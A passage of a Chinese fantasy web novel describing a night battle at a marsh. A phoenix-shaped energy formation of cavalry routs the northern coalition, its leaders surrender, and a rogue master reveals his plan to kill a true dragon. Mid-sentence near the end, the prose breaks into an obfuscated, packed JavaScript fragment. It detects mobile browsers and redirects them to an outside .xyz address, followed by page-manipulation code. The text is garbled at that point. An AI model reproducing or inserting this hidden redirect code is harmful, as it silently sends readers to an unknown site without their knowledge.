且说,原本退出去的黜龙军的确是往七八十里外的落钵城去了,但既是下午拔营,自然不可能一夜便到,所以,之前黜龙军在天黑时于三十里外的正道上重新立营休整,委实合乎常理。另一边,联军拖到落日后才从鹿野泽中官道赶出来三十里抵达此处,刚刚折腾到现在才准备休息,却是正好被对方打了个时间差。 “好精明!他们休整了半夜,我们一点都没睡!也不敢睡了!” “非只如此,这营寨的鹿角、木栅本就是对着鹿野泽的,这一边根本没有多少防备,咱们之前稍微整饬,也不过挪点栅栏来,岂不方便他们突击?” “关键是兵力!咱们提心吊胆,不敢多派兵马过来,程瞎子他们两个打头的又散开侦查去了,现在一个回马枪,正是两万对三万,真不好说胜负了!” “三万守两万,还不好说胜负?” “你忘了人家援军了?八百踏白骑……” “我们骑兵更多!” “就是骑兵多人家才要在晚上把我们堵在这背靠沼泽的营寨这里,而且踏白骑不是光有马……” “都别吵了,段小公爷,你是头,赶紧做主叫援兵!” “已经叫了!”奔马城冠军公的长子,也可以唤作段世子了,立即作答。“大家按照之前划的防区,赶紧布置防线!后备的人也准备起来,然后来我这里随时听调……我先去见刘公,做个汇报,马上回来这里。” 众人轰然,然后迅速忙碌起来,很明显,这些人的情绪倒是没有过分沮丧和不安,反而有些跃跃欲试,说到底,之前只是纸上谈兵,虽然因为黜龙军横扫河北,轻松击破南部两城的战绩让大家不得不把黜龙军的战力往上拔,但实际上心里还是不服气。 而且有一说一,黜龙军接下来的表现,似乎真就不咋地。 先不说杀回马枪从一开始就被北地联军的哨骑轻松发现,只说既被发觉,那黜龙军更应该兵贵神速,让骑兵先发,借着夜色从大路过来先打一个猛攻然后步兵跟上才对,结果黜龙军明明有两营骑兵,而且还在击破北地南部两城后补充了大量战马,却居然选择了维持了十来个营齐头并进的姿态。 这么下去,等他们到营寨后不久,身后的援军就已经穿越沼泽过来了好不好?而且给了这些联军部队从容出营,背营列阵的机会。 不管如何了,三更时分,战斗爆发了。 可能是编制类似的缘故,双方不约而同的采用了滚筒式的轮番上阵战术,然后就在黜龙军抛弃的大营南端外的空地上,在夜间,展开了一场看似混乱,实则反而让人觉得公平的混战。 当然,这一打起来,北地联军确实感觉到了,对方是比自己这边强一些的。 战斗经验,部队纪律,军官素养,整齐完备的装备,包括之前老生常谈的修行者比例,这里多一点,那里多一点,加一起就产生了极为明显且稳定的优势。 很快,随着后方有人发布了明确军令,黜龙军居然在夜间组织发动了一场简单却又极为有效的战术突击,先是一拨不知道什么时候凑好的**兵齐头并进,将联军挤压回了营地范围,然后忽然后退,却又有一整个**营当面涌入,趁势杀入到了营区,展开了肉搏战。 什么叫做压着打,这就叫压着打! 后方黜龙军给修好的现成将台上,坐在那里的前军实际主帅段世子看的心惊肉跳,本能转向了身侧宗师,孰料,刘文周反而握着腰中的瓶子失笑:“小公爷,你真要我出手?” 段世子愣了一下,立即摇头:“刘公且安坐!局势没到那份上,你若出手,他们的宗师也必然出手,应该等咱们援兵来,压过去,逼他们的宗师先出手才对!” “宗师算什么?”刘文周缓缓摇头。“不要把宗师看的太重,当年在南坡,于恩师座下曾听他说,军事上,军阵第一,军阵中真气阵第一,真气阵中,大阵为上,但屡世难得,所以最常见最厉害的,还是修行者构筑的小阵……后来杨慎**用过一次,我当时虽然还在那边,却恰好错过了,再后来又直接来了北地,其实还挺好奇的。” 段世子更加紧张,却不知道大敌当前该不该和这位闲聊。 不过,好在救命的来了……黜龙军过慢的进军速度,给联军后方援军的到达预留了充足的时间,当他们刚刚在前线失利后不久,一条火龙便从后方汇入了早已经火光琳琳的营寨中,然后引发了北地联军上下一致的欢呼声。 欢呼声惊天动地,连隔着二三十里的联军后军都能听到,反而让刚刚知道李枢和崔玄臣逃跑的蓝大温更加紧张起来,因为他根本不知道是哪一方在欢呼,只能催促部队赶紧向前,同时不要忘了随时传递消息。 好在宇文万筹终于不再说什么后撤的话,而是主动求战,稍微让蓝大温安心了几分。 随即,蓝大温做出安排,让宇文万筹及其战团加入支援序列,准备南进参战。 也就是宇文万筹回营整军的当口,蓝大温忽然又察觉到了沼泽对面有了新的巨大动静……说动静有些不准确,应该是颜色,他突然发觉,隐隐的喊杀声中,对面战场方向亮起了一道金光。 并不是耀眼,却有些庞大的金光。 用庞大形容光似乎又不对劲了,可蓝大温马上意识到那是什么了,那是真气波动,庞大是对的……莫非刘文周跟对方的宗师打起来了?对面到底是一位还是两位宗师? 自己身为军事统帅,要不要支援? 崔傥这厮有万一可能性过来支援吗? 蓝大温当然是判断失误了,二三十里外的军营外,八百踏白骑这一次以白有思的辉光真气为大阵基底,连成一线,轻易结成了一个前所未有的纯真气军阵,然后居然没有理会正在激战的军营战场,而是直接从旁边的沼泽地中踩踏了过去,光芒正是来自于他们。 而看这架势,竟是要不管这里的交战双方,从沼泽中穿过,直奔鹿野泽对面的联军后军大营而去! 这倒也罢了,下一刻,随着前方真气割破无数草木,冲在最前方的白有思忽然发现前方有一条夏日水量充沛的沼泽暗河,然后几乎是本能一般,提起胯下东夷大都督所赠的龙驹,高高跃起,便要借着真气大阵飞过此河。 而飞到半空中,福至心灵一般,白有思心中微动,忽然绽放真气,将自己的威凤在大阵前方显化了出来。 阵中的张行和牛河几乎是瞬间察觉到白有思的心思,惊愕之余,前者赶紧往阵中疯狂输送真气,而后者则迅速在阵中分出真气绳索,尽量将所有人深度联结。 接着,在双方将士,包括对面的联军后军,包括李定、刘文周、蓝大温这些见多识广之人的呆滞目光中,庞大的辉光真气军阵前端,一只真气威凤先行显化,然后瞬间与整个军阵合成一体,先使得军阵变成了一只巨大的威凤,然后居然顺势抬头振翅,腾空而起! 有修为的人看的清楚,那威凤包裹着的军阵内八百骑也居然随之踏上气浪,在众目睽睽之下,高高飞跃起来。 然后威凤再一低头,双翼随着骑士于空中分散而张开,竟然在沼泽植被的上方,包括其中官道上正在行军的联军头顶上飞速划过数里,然后再点向地面,再腾空而起,再划过……不过两三扑,居然扑在了对面军营的后方的空地上,这才从容掉头,宛若一只活生生的威凤回头来看猎物。 这一幕,对于见惯了吞风君的北地人而言似曾相识,但所有人知道这不是一回事。 以至于威凤落地后,又隔了片刻,一声不知道代表了什么情绪的长长龙吟忽然从远端白色山顶中传来时,很多人依然是在呆滞的状态中。 刘文周似乎是所有人里第一个反应过来的人,其人似乎是见到了什么期待已久的东西一般,忽然握着自己腰间的瓶子手舞足蹈,疯癫大笑,毫无宗师风范。 但不要紧,他不需要担心自己会被人说失了风范——下一刻,包括刘文周身侧的段世子在内,亲眼近距离目睹了威凤起飞的沼泽南端联军几乎不战而溃,数不清的军士丢盔弃甲,发疯一般往鹿野泽内东西两面逃去。 也有少数人趁着黜龙军愣神往南面突围的,却无人敢往亮如白昼的北面家乡方向而走。 第六十五章 **行(8) 随着远处山顶空中一声龙吟,夏日夜间忽然就起了杂乱的大风。 凌乱的风中,真气威凤停在旷野之中,根本没有理会远处的龙吟,而是回头凝望身后的营寨,随着巨大的辉光真气团在月下如潮汐一般鼓动,真真宛若活物……其实,单论大小,这只威凤与尚在这天地间活跃的几条真龙已经不相伯仲,考虑到威凤本就是赤帝娘娘那一脉最常见的真龙形态,就更加逼真了。 当然,还是不一样,因为这只纯由真气构筑的威凤正在夜间熠熠生辉。 字面意义上的熠熠生辉。 毕竟,辉光真气本来就是这个天地间最基本的光源,而且混合了一日二月的金、银、赤色后,呈现出的也并非是一种刺目的光芒,而是一种明亮却又不失温婉的光亮。 以至于被威凤注视的联军大营营寨,虽然亮如白昼,也还是处于一种类似于阴天状态下的白日。 此时此刻,联军主帅蓝大温立在宛若白昼的营寨中,怔怔望着这只无论是从体型还是从威力都堪比真龙的美丽、奇幻怪物,呼吸粗重而杂乱,脑中在熬过那一片空白的阶段之后,他的第一个念头倒是格外清晰,那就是全都没用了。 没有继续之前的愤怒,没有被瞬息间的转折弄得失态,只是忽然间醒悟,之前自己所有的军事安排,所有的忧虑,所有的希冀,甚至之前所有的愤怒和艰难的维持,全都没用了。 同样意识到全都没用的还有宇文万筹,他也意识到,他个人立场的挣扎,陆夫人的**抉择,北地人自发的自我意识分歧,随着这八百骑凌空一踏,也全都没用了。 当然,不管他们怎么想,联军都在溃散。 而得益于良好的视野,在最初的崩溃之后,这些联军居然又有了些许秩序,许多团首、将领都在呼喊,号召自己的部队往鹿野泽深处跑,下面的人虽然很少有理会自己上司的,但也在本能的往沼泽里跑。甚至当李定反应过来,下令全军推进,而那只威凤也意识到情况有了变化,主动放弃了真气显化后,这些人还在不停的往沼泽深处钻。 似乎只要跑进去,就能重新把命运握在自己手里一样。 “牛公,辛苦走一趟。”这个时候,黄骠马上的张行忽然意识到了问题所在。“告诉李定,不许放火!告诉他,这将来都是他的兵!” 众人闻言一惊,目送牛河腾空而起,也纷纷从刚才腾空时的玄妙状态中收了回来,然后意识到,在一年之中最热的一个时间段,再加上这个莫名其妙起来的乱风,那不管是沼泽还是树林,只要有密集的植被,一旦火起,可就是真正的天威难测了。 尤其是此时来看,鹿野泽中已经出现了零散的火源。 偏偏这些人还在往里面钻,至于北面偌大的空地与官道上,明明只有八百骑,却无人敢来,仿佛是什么禁区一般。 “蓝公!”片刻后,营寨内的宇文万筹忽然也想起了什么,挣扎一般寻到了蓝大温。 后者立在中军将台的旗帜下,面色如常,纹丝不动,而闻得有人来喊,也只是微微转过头来,然后依旧一声不吭。 “蓝公。”刚刚还跟对方一个德性的宇文万筹此时焦急万分,扯着对方袖子指向了此时星星点点的鹿野泽。“赶紧投降,不然他们会放火,尤其是那个李定,也就是之前没有风,否则便是没有这次来援,以他的做派怕是也要放火的!” 蓝大温陡然变色,却又闭目摇头:“来不及了,而且咱们投降也管不住他们往里面钻,也管不住人家放火。” “总要做些事情的!”宇文万筹努力来劝。“少死一个是一个,好汉死在火里,真就是个灰土一般……” “死在阵前也一样,死在真龙利爪前还是一样。”蓝大温缓缓倚着一辆板车坐了下来,也最终没有把话说死。“总之,我不想动了,我的旗帜也好,中军也好,全都交给你,你去把人招回来做降吧。” 宇文万筹不敢耽误时间,立即让蓝大温中军的人去传令,告诫鹿野泽中的危险,喊人回来一起投降,然后又让人解下蓝大温的“蓝”字大旗,自己亲自带上,便匆匆往北面已经暗淡下来的方向去了。 另一边,黜龙军的八百踏白骑现在状态很古怪,作为阵底的白有思去了真气外显,但大阵尚在,而这些骑士停在阵中,似乎是刚刚凌空而起的状态过于玄妙,一直到现在都还在回味一般,久久不动。 张行可以确定,这种感觉不是单纯飞翔带来刺激感,刚刚飞起来的时候,他明显通过真气察觉到了周围人的一些情绪,有些出乎意料的是,这些情绪居然全都是昂扬振奋的,以至于反过来联结了他,将他的情绪也抬了起来。 可以想见,自己的情绪也一定反过来染到了其他人身上。 所以,一个确切的描述是,现在的踏白骑全军都在某种贤者时间,与之相比,倒是他张首席喘了几口气后马上要求牛河去阻止李定放火,显得更可怕了一些。 当然,随着那面“蓝”字旗出营直奔踏白骑的方向而来,踏白骑中的不少人还是恢复了正常的警醒,辉光真气重新鼓动,将前方照的透亮,更有数骑发觉情况后直接脱离军阵向前迎上。 须臾片刻,那面“蓝”字旗被倒放在了黄骠马前,宇文万筹更是扑倒在地,牙齿发颤着道出了来意:“首席,我们愿意降服,还请首席下令,让李龙头不要放火。” “我已经让人告知南面不要统一放火了。”张行立即颔首,却又提醒。“但是宇文团首,这种乱象逢此乱风,便是我们没有点火,也怕有意外的。” 宇文万筹闻言再是一惊,可在地上爬着转身去看已经星星点点的鹿野泽后,却也只能在风中瘫倒在地,回头想要再说些什么,居然又泣不成声。 也不知道是吓得,还是想到这一战后北地联军的凄惨,心痛至极。 张行耐心很好,就在这里看着对方哭,倒是旁边人渐渐都走出原本那种怪异的感觉,尤其是尉迟融来的迟,有心表现,总觉得该说些话,便提马上前呵斥: “你这汉子,哭哭啼啼不成样子,算什么好汉?” 宇文万筹努力止住眼泪,强撑着做答:“本是投降,说什么好汉?” “便是投降,也要投降的清楚。”腰间系着羊羔皮的秦宝也勒马向前呵斥。“你来这里,自称投降,却只带了二三十人和一杆旗,反过来还要我们止住放火……敢问你兵马呢?十万众全一哄而散了,营中怕是也能剩下三千伙头兵吧?至不济也有十万大军的名册吧?何况还有粮草囤积位置,北面城池内有什么要害人物,这个时候还要哭哭啼啼以做隐瞒吗?便是主帅蓝大温如何不出来,反而要你出来,你都没说清楚。” 宇文万筹被逼的没法,只能勉力相对:“不瞒首席和秦将军,我是忽然想起风这般大,沼泽也可能着火,所以寻蓝大温来降,结果蓝大温已经失了魂,只让我自行处置……残存兵马自然有,粮草也在,只是这个样子,兵马一半在南边,估计已经败了,还有两成在鹿野泽中间的路上,如今带着两头的人往沼泽里钻,根本没法收拾……” “若是这般,你到底降个什么?”尉迟融听得直皱眉头。 宇文万筹也带着满面涕泪愣在那里。 “无妨。”就在这时,白有思也从大阵前端跟了过来,然后出言戏谑。“宇文头领不比他人,他是个有功的团首,便是无关大局,可只要说清楚自家经历和所知信息,便总有他一个说法。” 这话显得有些刻薄,但绝对是实话,不然张行和秦宝也不会优容到现在了。 当年那一次,要不是北面援军及时南下,吓跑了河北西北部的杂牌势力、阻隔住了河间大营的人,接应住了黜龙军,怕是张行早就从北地这里重新开始了,如今能不能回到邺城都两说。 宇文万筹如释重负,俯首相对:“首席仁念,主动拦了李龙头放火,事到如今,我不能再做丝毫隐瞒……不瞒首席,我和我团本是陆夫人安排在南部做监控的,之前在葫芦口遇到首席,便扯了谎,因为那时候李枢与崔傥刚刚被我送到北面陆夫人去,便是今日晚间之前,李枢还在我营中。” “也就是说,他在战前就闻着味跑了?”张行恍然。 “是,如今应该到了……” “不用管他,接着说别的事情……” “还有崔傥,崔傥就在奔马城,因为陆夫人不愿意到前线而发怒,据说要去巫地,根本就没来……” “还有呢?” “还有联军……联军确系是陆夫人所发,这其实人尽皆知,却是以蓝公做的前线统帅,刘文周做的副帅。” “刘文周在哪里?” “就在前面,他随前军一起去了。” “刘文周为何要服从陆夫人?” “便有什么内情,我也委实不知,我是负责监视南部的……只是大家确实都对陆夫人容忍刘文周不解,只是一个外来的宗师,而且占据了冰沼城后彼处怪事频发,这个人明明是可以撵出去的,很多人都怀疑是夫人不愿意显示修为,或者求助荡魔卫。” “都是自己人,有些事情说清楚就好。”张行想了一想,微微一笑,不再多做询问。“现在给你个任务,带我们一起去大营,控制要害,然后再遣人请刘文周这些人来降便是。” “诚如首席所愿。”宇文万筹赶紧起身,转身便引着踏白骑向大营而去。 来到中军,此时这里早已经失控,之前发出传令的人早已经不知道去了哪里,看到踏白骑到了,更是一窝蜂的散去,无视宇文万筹呼喊零星反抗的,也都被轻易抹平。 尤其是将台周边,似乎是因为属于蓝大温的嫡系,反抗格外激烈,但也格外脆弱,几乎没有让张行等人的马蹄停下。 登上将台,众人将张行的“黜”字旗升上去以后,连尸首都来不及收拾便立即忙碌起来,大部分人都在秦宝、尉迟融的带领下去随宇文万筹控制营中要害,遣用营中一些降人维持秩序,少部分人则随张行与白有思一起立在将台上看火。 此时的鹿野泽中,原本的星星点点已经消失不见,取而代之的是少数连起来的火线。 张行看了片刻,感受了一下明显渐渐减弱的风力,认真来问白有思:“要是风再起来,火也真起来,咱们有法子拦住吗?” 白有思想了一下,认真道:“换成弱水真气,再起一次真气外显?可能得不偿失,到时候被真气伤到的人说不定比被火燎到的更多……而且弱水真气也不一定能救火吧?” “这也确实,咱们也没有一个避海君给凌空调出海水洒下来。” “所以关键还是风。”白有思继续分析道,却看了眼左侧高大的大兴山脉。“这里到底是沼泽,水汽多,若是风不再起来,也就是这几条火线了,不会烧起来的……可风起不起来,能起多大就不是我们能定的了。” “那就不管祂了。”张行点头认可,然后问出了自己一直想问的问题。“刚才飞起来的时候,你作为阵底,又自行显化,有什么特别的感受吗?” “自然有些奇怪……一面是察觉到了阵中所有人的情绪,但怪异的是,居然全都是欣喜振奋,根本不见一点惶恐;另一面是自己与整个显化的威凤合为一体,心中雀跃,想要一飞冲天,只是晓得自己力不从心,这才赶紧抓住地面。”白有思有一说一。“至于说有没有像吞风君的风、避海君的水那般神通……应该是修为还没到份上,我没察觉到。” 张行点头:“我也差不多。” 二人沉默了片刻,还是白有思来问:“三郎,你说我的将来是不是就这么定了?凡间建功立业也好,修为通达也好,到了那个时候,就登上天门,变成刚刚那个样子……或者没有登上天门,也变成那个样子?” “那个样子是好呢,还是不好?”张行认真询问道。 “照理说应该是好,若不能证位做个真龙神仙,命都没了,何况刚才也感觉到了一些,真到了那个份上,肯定是有些逍遥之态的。”白有思认真作答。 “但还是有些不安?”张行补上了一句。 “对。”白有思坦诚以对。 “不安才是对的,凡人化圣,根本不晓得前面到底是什么,到时候是不是人都不知道,自然不安。”张行叹道。“但前路漫漫,总不能停下,何况这条唯一之路目前来看来,还是有些前途的。” “这倒是你的做派……”白有思微微一笑。“所以,刚刚我飞起来那一瞬,头顶上有没有多一颗星星?若是多了,现在应该又没了吧,如何没的,变成流星了?” “原来流星是这般来的,我还以为是真龙陨落呢。”张行也笑。“可要是这般说,流星时不时来一个,死的真龙未免也太多了。” 二人相视一笑,白有思明显还想再说些什么,却微微皱眉,四下环顾起来。 张行也是如此,随即,二人便发觉了问题所在……就在混乱的鹿野泽与更南方的方位,有着明显的真气闪烁,甚至有两道明显的光芒不急不缓的往此处来,可是明明肉眼可见的动静,二人却根本无法直接通过真气来做感知,取而代之的是忽然而来的一种模糊感。 好像从真气角度来说,那边蒙上了一层雾一般,还是红色的。 让人心烦意乱。 “这是刘文周来了。”白有思眯着眼睛给出判断,然后转头吩咐。“喊秦大头领回来,让他控制将台周边场地。” “果然有些能耐。”张行也微微皱眉。“不是一般的宗师手段。” 果然,须臾片刻,两道流光从容落地,却不是两人,而是三人,前面带路的自然是牛河,后面则是一名细长身形、长须凤眼的布衣文士,后者手里居然还拎着一个衣甲华丽的年轻人。 待到落地,这文士扔下年轻人,便摸着腰中几个囊袋瓶罐,昂然向前,抢先来言:“鄙人雁门刘文周,黜龙帮好强的实力,张首席好大的气魄,白总管好俊的手段。” 张行眼见牛河落在对方侧后方,方才拱手以对:“刘公,久仰大名。” “我有什么名头?”刘文周笑吟吟来道。“我一个雁门乡家子,做官最多做到一介县令,求学又破出师门,来到北地想做点事情,还被人当做丧家犬来提防,如今更是败军之将。” 这话是有怨气的,但撒错了地方,毕竟双方现在是敌非友,哪怕是都明白有合作的前景,可立场没转过来,总显得过于急迫了。 “这是哪位?”一念至此,张行伸手指向了被对方扔下的那名年轻人。 “段继业,奔马城世子,段老头唯一成年的儿子。”刘文周也稍作收敛。“今夜的前军指挥……我在旁边看着呢,其实还算有条理,只是可惜,便是没有那威风一跃,依着黜龙帮的强兵,他们今夜也要艰难的。” 无论如何都是联军中数得着的一条大鱼了,张行立即点题称谢:“多谢刘公了。” 随即又来问那地上的年轻人:“如何,段世子,可愿投降?” 那年轻人面色发白,却在火光照映下显得有些油亮,之前便在地上一直偷看几人,此时被问到,倒也干脆:“愿降。” “这个降字可不是这么简单的。”张行闻言不喜不怒,只是提醒道。“我们黜龙帮是要去府退卫,建立郡县的,你家祖传的冠军公从此就无了。” “我晓得。”那年轻人还是不敢起身,就在地上做答。“不然为何李龙头要杀鹿野公和柳城公全家?而也正因如此,如今兵败,只是为了保全家人,我这个辱没祖宗名声的废物也该投降。” “那就好。”张行也终于再度笑了起来。“难得你这般年轻就这般通透?寻宇文团首来安置他。” 那段世子终于敢站起身来,却也苦笑:“张首席面前如何敢谈通透?实在是今夜一战,便晓得强弱分明,如今能有一条命还能有机会保全家人,委实应该感激张首席恩德,也谢过刘公的恩义。” 说着,居然又朝将自己带来的刘文周躬身一礼。 众人多颔首认可,这段世子等了不过片刻,见到宇文万筹随一些人过来,便往将台下面去走……走了几步,其人稍微驻足,似乎是想问什么,却没有敢问出来一般,立即又往下走了。 不过,此时赶来的秦宝终于也想起一事,认真告知:“首席,别处也没有找到蓝大温,照理说应该是直接逃了,毕竟鹿野泽这么大,也没人拦着,可是宇文团首说蓝大温断不会逃的……” “那就是**。”刘文周接口道。 张行愣了一愣,去看宇文万筹,后者只是低头,便在将台上四下去看,却看到将台的边缘摆着一辆板车,然后停住目光,秦宝会意,往前推开车子,一具血泊已经凝结的尸体便随之往后仰倒,出现在了众人视野中。 前荡魔卫司命、联军统帅蓝大温,早就死在了自己年轻时便熟稔的架子车,看其模样,应该是绝望下的自戕。 略显焦躁的气氛中,张行沉默了片刻后,终于也叹了口气:“也算是个半英雄了,好好收敛便是。” 宇文万筹早料到这一幕,只是低声道谢,便与那段世子一起上前将尸身抬了下去……他之前那般哭泣,便是知道现在会有很多类似的场景,到了眼下,反而没必要哭了。 人走后,刘文周蹙眉来问:“这种人也称得上是半英雄吗?却不晓得张首席眼里的英雄又是个什么样子?” 张行沉吟片刻,正色相告:“很简单,英雄有很多种嘛,但从我这里来看,明知道前路艰难,甚至自己都心存迷茫,都不晓得前路到底通不通,还能咬着牙坚持往下走的人,便足以称得上是某类英雄了……” “如何是足以称得上?分明是大大的英雄。”刘文周听到这里,倒是有些感慨,竟直接打断了对方。“天下滚滚万载,使人稍得进取者,哪个不是如此?至于说此人,不过是有一口气梗在心里罢了,跟这个沾不得边,哪里又称得上是半英雄?” 张行并没有分辨,反而是挥手示意,让秦宝等人清空将台,待到人都远了,周遭只剩三位宗师和一个秦宝,方才来问:“既如此,敢问刘公的坚持的前路又是什么呢?” 刘文周嘿嘿一笑,迟疑了一会,方才指着远处的大兴山脉缓缓来言:“黜龙!” 张行愣了一下,反而大笑:“既如此,我们黜龙帮建帮六七载,声名远扬,为何不见阁下来入我们黜龙帮呢?” “因为要黜的龙不一样。”刘文周毫不客气答道。“你们只是以龙为意象,黜关陇这条龙,我刘某人要黜的,是活生生的龙!” 张行点头。 白有思则若有所思:“其实,既然取黜龙为意象,那黜真龙也必然是合乎意象的。” “这倒也是。”刘文周也笑。“但这不是怕耽误你们正事吗?反正最近的真龙就在北地,不如在这里守山待人。” “刘公为何要黜龙?”张行复又来问。“是跟我们一样要黜龙以归地气于民吗?” “那倒不是。”刘文周昂然来答。“我少年时有奇遇,碰到了一面镜子,借此知晓了开锁之事,晓得如你们这些黑帝爷的点选可以**夺气,而既然能夺气,敢问杀的千万人,又如何比得上黜一条龙呢?黑帝爷可以靠着荡魔夺气而成至尊,我今日黜龙而成大宗师又如何?” “所以,阁下所求的,乃是黜龙夺其气?” “是。” “那阁下也是黑帝爷点选了?” “我不是。” “哦。” “我老早便问过那面镜子,才知道当年黑帝爷荡魔,真气三分归天地,三分归黑帝爷,还有三分则是归于黑帝爷麾下那数百荡魔卫……所以,你们既不用担心吃了亏,也不必想着什么归地气,我猜想,关键是要有黑帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168020|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷的点选在其中做阵底。” 张行恍然,敢情还是打团本,经验按比例分的,只要是有个开了锁的至尊点选来开团罢了。 “若是这般,就是另一个说法了。”白有思接口道。“敢问刘公,我们兵强马壮,打下北地,自去黜龙又如何?届时北地安乐,我们黜龙帮的人趁机升迁,为何要分阁下那一分气?” “当然是因为没有人比我刘文周更懂黜龙!”刘文周还是那副昂然自得之态。“我从晓得这条路之后便弃官钻研此道……譬如刚刚,你们二位的修为,可曾察觉到我与牛公过来?” 张行摇头。 “这便是黜龙必须的一个物件了。”刘文周从腰中取出一个小瓶子,稍作摇晃。“真龙精血,释放出来便能遮蔽真气,没这个,别说上山了,就是在这里,你们刚刚显化出来,不也引得一声龙吟?” 几人全都颔首认可。 “还有这个。”刘文周见状略显得意,复又从腰中摸下一个银色令牌。“这玩意是仿照伏龙印来做的,却效用不同……它能暂时封住天池下的火山口,将那位直接封冻在天池里,逼迫祂与我们在天池冰坑里作战……诸位,敢问若真要去黜龙,哪个有我的功劳大?何况我还是只要我那一分气?” “确实没有道理不请刘公一起共襄盛举。”张行点点头,表示认可。“只是好奇,如伏龙印和这般事物,为何少见?” “因为材料得之不易,能做的人也少之又少,偏偏效用又总是有限。”刘文周收起银牌,反而不解。“这些道理,张首席应该早就晓得才对。” “这不是见刘公轻易拿出来两件吗?”张行不由自嘲。“所以,又起了多余心思。” “我这般说吧。”刘文周也叹了口气,将手中银牌再度亮出。“就是今日展示的这两个东西,花了我一个宗师十年功夫,你如这个银牌,为了此物,尽取冰流城周遭寒冰之精,以至于冰流城变成冰沼城……” 张行恍然,同时心中难免有些膈应,这可不是什么好事,怎么看怎么跟真龙侵占地气是一回事,当地百姓生存条件必然也艰难。 当然,若能击败真龙,返还的地气怕是也值得,只是以后不能让这厮自行其是,得规划着来。 “还有这瓶龙血,就更是辛苦。”刘文周收起银牌,复又取出那瓶红色叹气道。“我在南坡读书,看到有古文说,真龙精血远处可蔽真龙感应,近处还能激怒真龙,但哪里能寻到真龙取血呢?有这本事还用做这个?没办法,只能去红山用真气抽赤水池,用真气抽,寻到存着血池的地方,一处一处的抽。因为经常这边一抽走,那边山就崩了,以至于有的地方血池离人近,就只好下雨的时候去,好让周遭官府以为是滑坡……取了三年,还准备再取两年,又被恩师知道了,将我逐出师门,所以只此一瓶,不敢多用,而刚刚我用此物做展示,已经是十足的诚意。” 在场五个人,刘文周滔滔不绝,很显然,多年计划下的隐忍遇到可能的强援让他非常振奋,甚至振奋的过了头,牛河则纹丝不动,只盯着刘文周的后背,白有思和秦宝如同平常一样不由自主的往张行这里看。 至于张行,他听得很认真,如此而已。 过了一会,这位张首席更是面色不变,直接点头应许:“有用就好,刘公,我这里正式邀请你参与黜龙之事,你来谋划,我们全帮力量供你调遣……咱们务必精诚团结,黜此真龙,各取所需!” “好!”刘文周嗓音都颤抖了。 这一夜,吞风君并没有再度嘶吼,风也没有再起,鹿野泽中的火势最终没有成燎原之势,但战事却进展极快,李定总攻前便有军令,要求所有部队务必在天亮前汇集到对面的联军大营内。 而到了这里以后,不过是吃了顿早饭,刘黑榥与侯君束、苏靖方三人就被下令极速出兵,三营无论骑步,全部轻装骑马,直奔奔马城而去。 随即,到了上午时分,张行复又签署文书,一则张贴布告,要求所有参与联军的战团团首必须在五日内赶往就近的黜龙军军营,来则万事可从宽,不来则严惩不贷;二则,发布文书,严肃军纪,安抚百姓,让北地西路各处港口、市集、林场、矿镇、牧地打开门扉,提供军需和敌情讯息。 最后,发布昨夜到现在入营降服的五六名联军将领为临署头领,让他们分别往奔马城、冰沼城、安车卫、听涛城、观海城去做正式劝降。 当然,几人也晓得,这不是什么优待,这是黜龙帮自诩北地在握,对这些人提出的警告,要么办事,要么就顶着黜龙帮叛徒的帽子逃到巫地去。 否则就**一死! 等到了下午,部队更是正式开拔,往北面的奔马城主城缓缓开进。 一系列的举措之下,当然,更根本的缘由是昨夜那一战的影响过于直接,兵强马壮也好,威凤一跃也好,直接告诉了所有人,所谓北地联军的的确确从实力上不足以与黜龙帮抗衡,全方位的不足。 而等到刘文周倒戈,蓝大温战死,李枢与崔傥连夜出航逃走的消息传开后,更是给整个北地西部一种五雷轰顶的感觉。 兵没了,将没了,修行高手也没了,甚至粮草军械都没了,那还打个什么? 于是乎,还没到奔马城就有许多团首单枪匹马跟上了张首席的旗帜……他们也不知道“团首来降”这个空子是不是刻意给他们留的,反正都是自己独自一人跟上,大部队还留在鹿野泽周边。待到三日后,部队尚未抵达奔马城,前方刘黑榥等人便传来讯息,奔马城开城,而他们则按照原计划,继续顺着北地西部地区的官路北上威慑。 时间来到第五日,黜龙军正式入驻奔马城,到此时,据说之前联军中的近三十个战团里,有二十四个团首都已经抵达,一起来降的其余各城直属将领也来了十几个,剩下的,很可能是已经当场死亡。 没办法,当黜龙军入驻奔马城后,这些人就已经意识到,他们被锁在了这片区域中,除非在鹿野泽中过一辈子,否则只能出来投降,而到那时候,很可能一个都逃不掉。 至于说为什么是很可能,不是还有两位联军首领老早越过去侦查了吗?也不知道这两位现在准备怎么办?难道还有再回头? 第六日,陆夫人的使者以一种离奇的速度出现在了奔马城。 回应他的,是一场别开生面的仪式,张行居高临下,没收了奔马城冠军公世代相传的金印,然后当场熔铸成了李定的新战帅印,这才宣布,改奔马城为咸平郡,分十一县,为李定行台驻地,改冠军公段睿为柳城郡郡守,加大头领,世子段继业为中郎将,依旧暂署头领,属李定咸平行台,单设一营。 至于新任咸平郡郡守,居然给了宇文万筹。 其余降将,张首席倒没有着急任用,毕竟,要是一个战团一个头领,那加上八公七卫的直属力量,只一个北地就要两百个头领了。 可实际上,整个北地,按照目前的头领数量和可能的扩容,最多五十个头领名额,前提还得是河北东境那边提升到一百五十位以上才可以施行。 这注定是一个缓慢而必须的过程,很可能需要两到三年的时间才能建立起一个属于黜龙帮组织体制的新架构,而张行不可能一直都在北地,所以,他决定利用这段时间,尽可能的去做一些事情,给北地打上自己的烙印。 于是乎,在理论上的战争尚未结束的时候,张行停在了奔马城,开始与上上下下接触,几乎是每天接触两个战团,见五六拨人,询问商业矿业、农业牧业渔业的相关运行规则。 然后仅仅是三五日内,他就立即意识到,北地这里,想要收编所有战团,或者撤销战团制度,基本上是不可能的。 于是,他顺理成章的转变了思路,那就是与其招揽控制,不如拆分战团,每个战团员额不得超过五百人,不得持**与甲胄,以求让这些战团不足以形成军事威胁,而是专心经济。 